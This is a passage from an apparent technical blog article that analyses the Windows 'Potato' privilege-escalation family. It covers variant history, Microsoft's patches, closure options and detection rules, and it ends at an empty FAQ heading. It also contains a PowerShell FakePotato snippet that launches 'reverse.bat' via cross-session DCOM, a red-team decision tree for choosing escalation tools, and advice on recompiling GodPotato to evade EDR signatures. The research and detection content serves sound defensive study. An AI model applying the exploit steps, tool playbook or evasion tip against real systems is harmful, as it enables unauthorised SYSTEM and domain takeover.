&quot;You might be wondering why I called it the &apos;Fake&apos; Potato. Initially, I thought it could be exploited using the same techniques as the *Potato families, but it turned out to be different and much simpler in this case.&quot; -- Andrea Pierini, &quot;The Fake Potato&quot; writeup, August 2024 [@decoder-fakepotato]
&lt;p&gt;FakePotato abuses the &lt;strong&gt;ShellWindows&lt;/strong&gt; Distributed COM application (AppID &lt;code&gt;{9BA05972-F6A8-11CF-A442-00A0C90A8F39}&lt;/code&gt;), hosted in &lt;code&gt;explorer.exe&lt;/code&gt; and registered to run under the Interactive User identity. Cross-session activation via &lt;code&gt;BindToMoniker(&quot;session:N!new:&amp;lt;CLSID&amp;gt;&quot;)&lt;/code&gt; invokes &lt;code&gt;ShellExecute&lt;/code&gt; in the target session. There is no NTLM relay, no token impersonation, no &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt; requirement -- any Authenticated User suffices because &lt;code&gt;explorer.exe&lt;/code&gt; in High Integrity Level (UAC-disabled administrator) granted the Authenticated Users group execute permission via the DCOM Access Security ACL [@decoder-fakepotato].&lt;/p&gt;
&lt;p&gt;{&lt;code&gt;$obj = [System.Runtime.InteropServices.Marshal]::BindToMoniker(&quot;session:2!new:9BA05972-F6A8-11CF-A442-00A0C90A8F39&quot;) $p = $obj.item(0).document.application $p.ShellExecute(&quot;c:\\temp\\reverse.bat&quot;, &quot;&quot;, &quot;c:\\windows&quot;, $null, 0)&lt;/code&gt;}&lt;/p&gt;
&lt;p&gt;Microsoft assigned CVE-2024-38100 and shipped the patch in the July 2024 Patch Tuesday cumulative updates on July 9, 2024 (KB5040434 for Windows 10 1607 / Windows Server 2016; equivalent KBs for Windows 11, Server 2019, Server 2022, and Server 2025) -- four weeks before the public disclosure [@decoder-fakepotato; @nvd-cve-2024-38100; @msrc-cve-2024-38100]. The patch corrects the &lt;code&gt;explorer.exe&lt;/code&gt; ACL in High Integrity Level contexts so the Authenticated Users permission required for activation is no longer granted. The underlying cross-session Distributed COM activation primitive that SilverPotato and FakePotato share is untouched [@decoder-silverpotato; @decoder-fakepotato].&lt;/p&gt;
&lt;p&gt;FakePotato is not, in the relay sense, a Potato at all. It is a misconfiguration of the &lt;code&gt;ShellWindows&lt;/code&gt; Distributed COM application&apos;s permissions in High Integrity Level contexts [@decoder-fakepotato]. Pierini&apos;s &quot;Fake&quot; framing acknowledges the divergence from the NTLM-reflection pattern that defined the family from RottenPotato through GodPotato. The naming choice is itself a small piece of taxonomy: not every member of the family is a token-relay exploit, even if every member exploits the same architectural carve-out.&lt;/p&gt;
&lt;p&gt;After nearly a decade of patching specific vehicles and refusing to declare the underlying primitive a boundary, Microsoft&apos;s pattern is hard to miss.&lt;/p&gt;
&lt;h2&gt;7. Eleven Variants at a Glance&lt;/h2&gt;
&lt;p&gt;Nine years of named-variant disclosures, eleven named variants, one architectural argument. The table below is sourced cell by cell from the preceding sections.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Variant&lt;/th&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Authors&lt;/th&gt;
&lt;th&gt;Coercion vehicle&lt;/th&gt;
&lt;th&gt;Mitigation it bypassed&lt;/th&gt;
&lt;th&gt;Microsoft response&lt;/th&gt;
&lt;th&gt;Still works in 2026?&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;HotPotato [@foxglove-hotpotato]&lt;/td&gt;
&lt;td&gt;Jan 16, 2016&lt;/td&gt;
&lt;td&gt;Stephen Breen&lt;/td&gt;
&lt;td&gt;NBNS spoof + WPAD + HTTP-to-SMB relay&lt;/td&gt;
&lt;td&gt;MS08-068 same-protocol-only fix&lt;/td&gt;
&lt;td&gt;None named; EPA/SMB hardening eventually closed the vehicle&lt;/td&gt;
&lt;td&gt;Only on pre-1607 builds&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RottenPotato [@foxglove-rottenpotato]&lt;/td&gt;
&lt;td&gt;Sep 23, 2016&lt;/td&gt;
&lt;td&gt;Stephen Breen + Chris Mallz&lt;/td&gt;
&lt;td&gt;DCOM activation via BITS CLSID on 127.0.0.1:6666&lt;/td&gt;
&lt;td&gt;(none yet)&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;td&gt;Only pre-1809 builds&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RottenPotatoNG [@breenmachine-rottenng]&lt;/td&gt;
&lt;td&gt;Dec 29, 2017&lt;/td&gt;
&lt;td&gt;breenmachine&lt;/td&gt;
&lt;td&gt;Same as RottenPotato (C++ port; no Metasploit)&lt;/td&gt;
&lt;td&gt;(none yet)&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;td&gt;Only pre-1809 builds&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;JuicyPotato [@ohpe-juicy]&lt;/td&gt;
&lt;td&gt;Jul 27, 2018&lt;/td&gt;
&lt;td&gt;Andrea Pierini + Giuseppe Trotta&lt;/td&gt;
&lt;td&gt;Generalised DCOM activation; CLSID matrix&lt;/td&gt;
&lt;td&gt;(none yet)&lt;/td&gt;
&lt;td&gt;OXID-resolver hard-coding in Win10 1809 / Server 2019 [@forshaw-pz-2021]&lt;/td&gt;
&lt;td&gt;Only pre-1809 builds&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RoguePotato [@antonio-rogue]&lt;/td&gt;
&lt;td&gt;May 10, 2020&lt;/td&gt;
&lt;td&gt;Antonio Cocomazzi + Andrea Pierini&lt;/td&gt;
&lt;td&gt;DCOM activation through remote TCP-135 forwarder&lt;/td&gt;
&lt;td&gt;2019-2020 OXID-resolver hardening&lt;/td&gt;
&lt;td&gt;None (no CVE)&lt;/td&gt;
&lt;td&gt;Only pre-Phase-3 builds&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PrintSpoofer [@itm4n-printspoofer]&lt;/td&gt;
&lt;td&gt;Early May 2020&lt;/td&gt;
&lt;td&gt;Clément Labro&lt;/td&gt;
&lt;td&gt;Print Spooler RPC &lt;code&gt;RpcRemoteFindFirstPrinterChangeNotificationEx&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;All DCOM-side hardening (irrelevant)&lt;/td&gt;
&lt;td&gt;None (no CVE)&lt;/td&gt;
&lt;td&gt;Yes, when Spooler is running&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RemotePotato0 [@sentinellabs-relaying]&lt;/td&gt;
&lt;td&gt;Apr 2021&lt;/td&gt;
&lt;td&gt;Antonio Cocomazzi + Andrea Pierini&lt;/td&gt;
&lt;td&gt;Cross-session DCOM/RPC NTLM relay&lt;/td&gt;
&lt;td&gt;(defines a new threat surface)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;&quot;Won&apos;t Fix&quot;&lt;/strong&gt;; partial Oct 2022 RPC-to-LDAP mitigation&lt;/td&gt;
&lt;td&gt;Partially (primitive intact)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;JuicyPotatoNG [@antonio-juicyng; @decoder-juicyng]&lt;/td&gt;
&lt;td&gt;Sep 21, 2022&lt;/td&gt;
&lt;td&gt;Andrea Pierini + Antonio Cocomazzi&lt;/td&gt;
&lt;td&gt;Local-OXID trick + LogonUser NewCredentials&lt;/td&gt;
&lt;td&gt;CVE-2021-26414 Phase 1 and Phase 2&lt;/td&gt;
&lt;td&gt;None (no CVE)&lt;/td&gt;
&lt;td&gt;Only pre-Phase-3 builds&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GodPotato [@beichendream-god]&lt;/td&gt;
&lt;td&gt;Dec 23, 2022&lt;/td&gt;
&lt;td&gt;BeichenDream&lt;/td&gt;
&lt;td&gt;RPCSS OXID-handling defect (no resolver redirect)&lt;/td&gt;
&lt;td&gt;All three CVE-2021-26414 phases&lt;/td&gt;
&lt;td&gt;None (no CVE)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Yes -- the 2026 default&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LocalPotato / CVE-2023-21746 [@decoder-localpotato; @nvd-cve-2023-21746]&lt;/td&gt;
&lt;td&gt;Patched Jan 10, 2023&lt;/td&gt;
&lt;td&gt;Andrea Pierini + Antonio Cocomazzi&lt;/td&gt;
&lt;td&gt;NTLM Type-2 &quot;Reserved&quot; field context swap&lt;/td&gt;
&lt;td&gt;(orthogonal -- attacks LSASS)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;CVE-2023-21746&lt;/strong&gt; (first local-Potato CVE)&lt;/td&gt;
&lt;td&gt;No -- patched&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SilverPotato / ADCSCoercePotato [@decoder-silverpotato; @troopers24]&lt;/td&gt;
&lt;td&gt;Apr 24, 2024&lt;/td&gt;
&lt;td&gt;Andrea Pierini + Antonio Cocomazzi&lt;/td&gt;
&lt;td&gt;Cross-session DCOM against &lt;code&gt;sppui&lt;/code&gt; AppID&lt;/td&gt;
&lt;td&gt;Post-RemotePotato0 partial mitigations&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Still in review by MSRC as of mid-2026&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Yes -- unpatched&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;FakePotato / CVE-2024-38100 [@decoder-fakepotato; @nvd-cve-2024-38100]&lt;/td&gt;
&lt;td&gt;Disclosed Aug 2, 2024&lt;/td&gt;
&lt;td&gt;Andrea Pierini&lt;/td&gt;
&lt;td&gt;Cross-session DCOM against &lt;code&gt;ShellWindows&lt;/code&gt; AppID (ACL bug)&lt;/td&gt;
&lt;td&gt;(orthogonal)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;CVE-2024-38100&lt;/strong&gt; in the July 2024 Patch Tuesday (KB5040434 for 1607/Server 2016; per-build KBs elsewhere)&lt;/td&gt;
&lt;td&gt;No -- patched&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Two CVEs in nine years of named-variant disclosures. One &quot;Won&apos;t Fix&quot; decision on a working Domain Admin escalation. Zero declarations of &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt; or Distributed COM activation as a security boundary. The pattern is consistent across every column [@troopers24; @msrc-servicing-criteria].&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; Two CVEs in a decade, against a family with eleven named variants. The first CVE was for a piece of the &lt;em&gt;local NTLM protocol&lt;/em&gt; that is on the servicing-criteria list, not for the underlying &lt;code&gt;SeImpersonate&lt;/code&gt;-to-SYSTEM primitive. The second was for a &lt;em&gt;Distributed COM access-control list misconfiguration&lt;/em&gt;, not for cross-session activation as a class. Microsoft will assign CVEs to specific vehicles when forced. It will not declare the architectural primitive a security boundary [@nvd-cve-2023-21746; @nvd-cve-2024-38100; @troopers24].&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;8. The 2026 Decision Surface&lt;/h2&gt;
&lt;p&gt;In May 2026, an operator with &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt; on a default Windows 11 box has a small menu of working tools, plus three legacy variants that remain useful on unpatched fleets. The current toolkit:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Method&lt;/th&gt;
&lt;th&gt;Coercion vehicle&lt;/th&gt;
&lt;th&gt;OS coverage&lt;/th&gt;
&lt;th&gt;When to use it&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;GodPotato&lt;/strong&gt; [@beichendream-god]&lt;/td&gt;
&lt;td&gt;RPCSS OXID defect&lt;/td&gt;
&lt;td&gt;Win 8 to Win 11; Server 2012 to Server 2025&lt;/td&gt;
&lt;td&gt;Default first try on any in-support Windows&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;SweetPotato&lt;/strong&gt; [@ccob-sweet]&lt;/td&gt;
&lt;td&gt;Selectable: PrintSpoofer (default), DCOM, EfsRpc, WinRM&lt;/td&gt;
&lt;td&gt;Win 7+ depending on selected mode&lt;/td&gt;
&lt;td&gt;When GodPotato&apos;s binary signature is blocked&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;SharpEfsPotato&lt;/strong&gt; [@bugch3ck-efs]&lt;/td&gt;
&lt;td&gt;EFS RPC (&lt;code&gt;EfsRpcOpenFileRaw&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Server 2019+, Win 10/11 with EFS RPC enabled&lt;/td&gt;
&lt;td&gt;DCOM locked down &lt;em&gt;and&lt;/em&gt; Spooler disabled&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;PrintSpoofer&lt;/strong&gt; [@itm4n-printspoofer]&lt;/td&gt;
&lt;td&gt;Print Spooler RPC&lt;/td&gt;
&lt;td&gt;Any host with Spooler running&lt;/td&gt;
&lt;td&gt;The lowest-noise option on Spooler-enabled hosts&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;JuicyPotatoNG&lt;/strong&gt; [@antonio-juicyng]&lt;/td&gt;
&lt;td&gt;Local-OXID + legacy CLSID&lt;/td&gt;
&lt;td&gt;Pre-Phase-3 DCOM hardening only&lt;/td&gt;
&lt;td&gt;Corporate fleets with delayed CVE-2021-26414 rollout&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;RoguePotato&lt;/strong&gt; [@antonio-rogue]&lt;/td&gt;
&lt;td&gt;Remote TCP-135 forwarder&lt;/td&gt;
&lt;td&gt;Pre-Phase-3 DCOM hardening&lt;/td&gt;
&lt;td&gt;Pre-2022 hardened-OXID-only systems with attacker remote infra&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;SilverPotato&lt;/strong&gt; [@decoder-silverpotato]&lt;/td&gt;
&lt;td&gt;Cross-session DCOM against DC&lt;/td&gt;
&lt;td&gt;Default DCs with &lt;code&gt;Distributed COM Users&lt;/code&gt; or &lt;code&gt;Performance Log Users&lt;/code&gt; membership&lt;/td&gt;
&lt;td&gt;Domain-tier escalation -- the only currently-unpatched cross-session variant&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Plus three legacy variants worth knowing about: JuicyPotato on pre-1809 builds, RottenPotato on Server 2008 R2 / Windows 7 ESU-eligible builds, and HotPotato as the canonical naming origin and the source of the family&apos;s &quot;documented Win32 calls&quot; framing [@ohpe-juicy; @foxglove-rotten-repo; @foxglove-hotpotato]. Embedded Windows builds (Windows 10 IoT LTSC 2019, some industrial controllers, ATM images) frequently fall behind the OXID-resolver mitigation and remain JuicyPotato-vulnerable through 2026.&lt;/p&gt;

SharpEfsPotato&apos;s canonical repository is `github.com/bugch3ck/SharpEfsPotato` [@bugch3ck-efs]. A widely shared `ly4k/SharpEfsPotato` fork exists and is referenced in some red-team writeups, but the upstream is the `bugch3ck` repo per the README&apos;s own credit chain (&quot;Built from SweetPotato by @\_EthicalChaos\_ and SharpSystemTriggers/SharpEfsTrigger by @cube0x0&quot;) [@bugch3ck-efs]. Operators citing the `ly4k` URL are pointing at a fork.
&lt;p&gt;Every one of these tools has a Microsoft mitigation in its history. None of those mitigations closed the family. The next section asks what mitigation could.&lt;/p&gt;
&lt;h2&gt;9. What Would It Take To Close the Family?&lt;/h2&gt;
&lt;p&gt;A counterfactual sharpens the question. Suppose Microsoft decided in 2026 that the family must end. Three closure options exist, and each carries a compatibility cost.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Closure option&lt;/th&gt;
&lt;th&gt;Mechanism&lt;/th&gt;
&lt;th&gt;Compatibility cost&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;1. Declare &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt; a security boundary&lt;/td&gt;
&lt;td&gt;Revoke the privilege from default service accounts (IIS app pools, SQL Server, BITS, Task Scheduler, the Spooler)&lt;/td&gt;
&lt;td&gt;Operationally prohibitive: thousands of third-party services depend on the default grant&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2. Declare Distributed COM activation a security boundary&lt;/td&gt;
&lt;td&gt;Validate the activator&apos;s identity against the activated CLSID&apos;s registered identity on every activation&lt;/td&gt;
&lt;td&gt;Breaks 25 years of legacy Distributed COM applications written between 1996 and 2021 [@ms-dcom-spec]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3. Deprecate &lt;code&gt;ImpersonateNamedPipeClient&lt;/code&gt; as a Win32 primitive&lt;/td&gt;
&lt;td&gt;Remove the call from &lt;code&gt;namedpipeapi.h&lt;/code&gt; or gate it behind a Trustlet validation&lt;/td&gt;
&lt;td&gt;Breaks parts of CSRSS, the console subsystem, and LSASS itself; no deprecation notice exists in the API reference as of mid-2026 [@ms-impersonate-api]&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The CVE-2021-26414 hardening creeps toward option 2 for &lt;em&gt;remote&lt;/em&gt; Distributed COM but explicitly does not for &lt;em&gt;local&lt;/em&gt; Distributed COM [@ms-kb5004442]. The &lt;a href=&quot;https://paragmali.com/blog/adminless-how-windows-finally-made-elevation-a-security-boun/&quot; rel=&quot;noopener&quot;&gt;Adminless direction&lt;/a&gt; in Windows 11 24H2 -- Microsoft&apos;s &quot;Administrator protection&quot; platform feature, currently a preview shipped first via Windows Insider builds and not yet generally available [@ms-administrator-protection] -- introduces a per-application admin-elevation gate, but operates &lt;em&gt;above&lt;/em&gt; the SYSTEM-impersonation primitive, not below it. &lt;a href=&quot;https://paragmali.com/blog/the-empty-hash-credential-guard-the-lsaiso-trustlet-and-the-/&quot; rel=&quot;noopener&quot;&gt;Credential Guard&lt;/a&gt; isolates LSASS secrets in a &lt;a href=&quot;https://paragmali.com/blog/vbs-trustlets-what-actually-runs-in-the-secure-kernel/&quot; rel=&quot;noopener&quot;&gt;Virtualization-Based Security Trustlet&lt;/a&gt; -- which protects NTLM hashes from extraction but does not gate &lt;code&gt;ImpersonateNamedPipeClient&lt;/code&gt; or &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt; [@ms-credential-guard]. &lt;a href=&quot;https://paragmali.com/blog/living-off-the-land-on-windows-the-lolbin-catalog-and-the-st/&quot; rel=&quot;noopener&quot;&gt;Smart App Control&lt;/a&gt; restricts arbitrary binary execution but does not block in-process exploitation by a SYSTEM-running service [@ms-smart-app-control].&lt;/p&gt;
&lt;p&gt;The lower bound on attack cost is therefore O(1) per invocation, and it stays O(1) as long as the servicing-criteria carve-out holds. No combination of currently-shipping mitigations moves it.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; The Potato family is a fixed point of the current Windows architecture. Every closure option carries a compatibility cost that no currently-announced Microsoft release accepts. Until the MSRC Windows Security Servicing Criteria changes the position on &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt; and Distributed COM activation, the family&apos;s lower attack cost is O(1) and no servicing patch can move it [@msrc-servicing-criteria; @troopers24].&lt;/p&gt;
&lt;/blockquote&gt;

The claim is empirical, not formal. A &quot;fixed point&quot; in the algorithmic sense is a value where a function returns its own input. For the Potato family the analogue is: every Microsoft mitigation that does not change the servicing-criteria document returns a family that is still alive. The fixed-point status is consistent with eleven variants over nine years of named-variant disclosures (HotPotato January 2016 -&amp;gt; FakePotato August 2024) against three named hardening waves. It would be invalidated by a major-version Windows release that explicitly revoked the default `SeImpersonatePrivilege` grant on service accounts. No such release is on the public roadmap as of May 2026 [@msrc-servicing-criteria].
&lt;h2&gt;10. Open Problems&lt;/h2&gt;
&lt;p&gt;Five questions sit at the research frontier in 2026.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The next coercion vehicle.&lt;/strong&gt; Each Potato variant is one SYSTEM-context service with a callback-style API. As the family has matured, researchers have mapped a growing surface of candidates: EFS RPC (which SharpEfsPotato already weaponises [@bugch3ck-efs]), Print Spooler async RPC (MS-PAR), Windows Search remote protocol (MS-WSP), and Microsoft Distributed Transaction Coordinator RPC. The community-empirical conjecture, repeated across Troopers 24 [@troopers24] and the Compass Security retrospective [@compass-three-headed], is that any SYSTEM-context Windows service with a callback-style API becomes a Potato vehicle within roughly eighteen months of operational need.&lt;/p&gt;
&lt;p&gt;The &quot;eighteen-month vehicle cadence&quot; is an informal community claim, not a measured statistic. It originates in the Troopers 24 retrospective by Pierini and Cocomazzi [@troopers24] and is reinforced by the Compass Security follow-on documenting how the SilverPotato chain was productised within months of Pierini&apos;s February 2024 ADCS-server post [@decoder-adcs-server; @compass-three-headed]. The number should be read as a rule of thumb, not a benchmark.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Linux and Windows Subsystem for Linux extension.&lt;/strong&gt; No Linux analogue of &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt; exists. There are partial precedents in the impacket cross-protocol relay work, but no Potato-class primitive that produces a SYSTEM token on a Linux host. Open.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Will defence-in-depth combine to close the family without ever declaring a new boundary?&lt;/strong&gt; Microsoft has shipped Credential Guard [@ms-credential-guard], &lt;a href=&quot;https://paragmali.com/blog/wdac--hvci-code-integrity-at-every-layer-in-windows/&quot; rel=&quot;noopener&quot;&gt;Hypervisor-Protected Code Integrity&lt;/a&gt; [@ms-hvci], Smart App Control [@ms-smart-app-control], and the experimental Administrator-protection direction in Windows 11 24H2 [@ms-administrator-protection]. Each changes the runtime trust model in some way. No combination of currently-shipping technologies closes the family as of May 2026 -- the Potato primitives live below the layer those technologies operate on [@troopers24; @compass-three-headed].&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A defensive detection primitive that catches every variant.&lt;/strong&gt; The unifying invariant is &lt;code&gt;ImpersonateNamedPipeClient&lt;/code&gt; being called from a thread that holds &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt; against a named pipe that has just received a SYSTEM-context authentication originating from a service the calling process did not initiate. Per-variant detection rules exist for each named tool (GodPotato, PrintSpoofer, JuicyPotato). A generalising rule has not been published [@ms-impersonate-api]. The informal community position is that the family is &lt;em&gt;non-detectable as a class&lt;/em&gt; because the primitive is in the legitimate hot path of nearly every Windows service.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;MSRC servicing-criteria position on cross-session Distributed COM activation.&lt;/strong&gt; LocalPotato (CVE-2023-21746) received a CVE for a piece of the local NTLM protocol [@nvd-cve-2023-21746]. FakePotato (CVE-2024-38100) received a CVE for an access-control list misconfiguration on the &lt;code&gt;ShellWindows&lt;/code&gt; AppID [@nvd-cve-2024-38100]. SilverPotato is still unpatched [@decoder-silverpotato; @troopers24]. The boundary that distinguishes these three is unclear: why was the &lt;code&gt;ShellWindows&lt;/code&gt; cross-session activation patched while the &lt;code&gt;sppui&lt;/code&gt; cross-session activation has not been? The answer determines the next decade of the family. The defensible reading is that Microsoft will service variants that look like permission misconfigurations on a single AppID but not the underlying cross-session Distributed COM activation primitive itself.&lt;/p&gt;
&lt;h2&gt;11. How to Use a Potato in 2026&lt;/h2&gt;
&lt;p&gt;The practitioner question is operational. Given a foothold and a goal, which Potato variant does the job? The decision tree below walks through the path researchers settle into on red-team engagements.&lt;/p&gt;

flowchart TD
    A[Target OS in support?] --&amp;gt;|&quot;No&quot;| Z1[JuicyPotato on pre-2020 builds, or RoguePotato on 2020-2022 builds]
    A --&amp;gt;|&quot;Yes&quot;| B[Operator privilege?]
    B --&amp;gt;|&quot;SeImpersonate or SeAssignPrimaryToken&quot;| C[Spooler running?]
    B --&amp;gt;|&quot;Standard user, cross-session victim present&quot;| Z2[FakePotato technique illustrative -- patched in KB5040434]
    B --&amp;gt;|&quot;DCOM-group member on a DC&quot;| Z3[SilverPotato with ntlmrelayx to AD CS]
    C --&amp;gt;|&quot;Yes&quot;| D[SweetPotato -e PrintSpoofer default]
    C --&amp;gt;|&quot;No&quot;| E[EFS RPC reachable?]
    E --&amp;gt;|&quot;Yes&quot;| F[SharpEfsPotato]
    E --&amp;gt;|&quot;No&quot;| G[GodPotato as fallback]
&lt;p&gt;The first-try heuristic is short. &lt;strong&gt;GodPotato first&lt;/strong&gt;, because it is the single binary that works on every in-support Windows release [@beichendream-god]. If the GodPotato binary signature is blocked by Endpoint Detection and Response, &lt;strong&gt;SweetPotato with &lt;code&gt;-e PrintSpoofer&lt;/code&gt;&lt;/strong&gt; (or &lt;code&gt;-e EfsRpc&lt;/code&gt; on a Domain Controller where Spooler is off) [@ccob-sweet]. If both are blocked, &lt;strong&gt;SharpEfsPotato&lt;/strong&gt; as the lower-public-exposure third choice [@bugch3ck-efs]. For pre-2023 unpatched fleets, &lt;strong&gt;JuicyPotatoNG&lt;/strong&gt; during the Phase-2 hardening window and &lt;strong&gt;JuicyPotato&lt;/strong&gt; on pre-1809 builds [@antonio-juicyng; @ohpe-juicy]. For domain escalation against a DC, &lt;strong&gt;SilverPotato&lt;/strong&gt; with the Compass Security KrbRelay modifications [@decoder-silverpotato; @compass-three-headed].&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; GodPotato. If signature-blocked, SweetPotato with &lt;code&gt;-e PrintSpoofer&lt;/code&gt;. If both blocked, SharpEfsPotato. The rest of the family is for situations the first three do not cover (legacy fleets, DC escalation, technique illustration of patched variants) [@beichendream-god; @ccob-sweet; @bugch3ck-efs].&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Several implementation pitfalls catch new operators. The named-pipe path that GodPotato uses (&lt;code&gt;\pipe\&amp;lt;token&amp;gt;\pipe\epmapper&lt;/code&gt;) is widely signatured by EDR vendors -- see the detection-engineering Spoiler below for the specific Sigma and Elastic rules [@sigma-potato-hktl; @elastic-rogue-pipe] -- and recompiling from source with a different pipe template is the standard countermeasure. A token &lt;em&gt;holding&lt;/em&gt; &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt; does not necessarily &lt;em&gt;enable&lt;/em&gt; it -- explicit &lt;code&gt;AdjustTokenPrivileges&lt;/code&gt; with &lt;code&gt;SE_PRIVILEGE_ENABLED&lt;/code&gt; is required, and custom adaptations frequently miss the step [@ms-adjusttokenprivileges]. SweetPotato&apos;s default &lt;code&gt;-e PrintSpoofer&lt;/code&gt; mode fails silently on a Domain Controller where Spooler is disabled per the PrintNightmare aftermath; the correct DC default is GodPotato or SharpEfsPotato. RoguePotato&apos;s outbound TCP 135 to attacker infrastructure is blocked by default in most enterprise networks. FakePotato and SilverPotato both require the victim identity to be actively logged in, since both depend on a live cross-session activation surface [@itm4n-printspoofer; @antonio-rogue; @decoder-silverpotato; @decoder-fakepotato].&lt;/p&gt;

If you defend Windows rather than attack it, the detection target is the conjunction of (a) named-pipe creation by an IIS or SQL or service account, (b) a SYSTEM-context process connecting to that pipe shortly after, and (c) `CreateProcessWithToken` from the original service-account process. None of the three events alone is anomalous. The conjunction is. Sysmon Event ID 1 (Process Create) paired with Event IDs 17 and 18 (PipeEvent: Pipe Created and Pipe Connected) plus ETW providers `Microsoft-Windows-COM` and `Microsoft-Windows-RPC` cover the activation-plus-pipe half [@ms-sysmon]; Sysmon Event ID 10 (ProcessAccess) on `lsass.exe` from the originating service account is the third pillar that surfaces the impersonation handle acquisition [@ms-sysmon]. Per-variant signatures are published as Sigma rules for the public LocalPotato, CoercedPotato, JuicyPotato, RottenPotato, and EfsPotato binaries [@sigma-potato-hktl; @sigma-localpotato], and Elastic&apos;s `privilege_escalation_via_rogue_named_pipe` rule fires on the PrintSpoofer / EfsPotato pipe-path pattern that GodPotato shares [@elastic-rogue-pipe]. A class-generalising rule that fires on the *primitive* (rather than per-binary) has not been published.
&lt;p&gt;Library and framework support follows the same shape as any post-exploitation primitive (the picture here is community-empirical, drawn from public BOF and module repositories rather than vendor reference architectures). Cobalt Strike Beacon Object Files wrapping GodPotato, PrintSpoofer, and SweetPotato are widely shared in the red-team community -- &lt;code&gt;incursi0n/GodPotatoBOF&lt;/code&gt; is one publicly published example that integrates with &lt;code&gt;BeaconUseToken()&lt;/code&gt; for in-Beacon SYSTEM-token application [@godpotato-bof] -- and the same wrappers load into Sliver. PowerShell wrappers around PrintSpoofer and JuicyPotato are integrated into Empire and Starkiller. The Metasploit &lt;code&gt;incognito&lt;/code&gt; post-exploitation module handles token impersonation as a primitive but does not wrap GodPotato directly [@msf-incognito]. The &lt;code&gt;impacket&lt;/code&gt; toolkit&apos;s &lt;code&gt;ntlmrelayx&lt;/code&gt; is the canonical relay engine for the tail of SilverPotato [@fortra-impacket], and OleViewDotNet -- Forshaw&apos;s tool -- is the discovery oracle that surfaced the &lt;code&gt;sppui&lt;/code&gt; and &lt;code&gt;ShellWindows&lt;/code&gt; AppIDs in the first place [@tyranid-oleview; @decoder-silverpotato; @decoder-fakepotato].&lt;/p&gt;
&lt;h2&gt;12. Frequently Asked Questions&lt;/h2&gt;


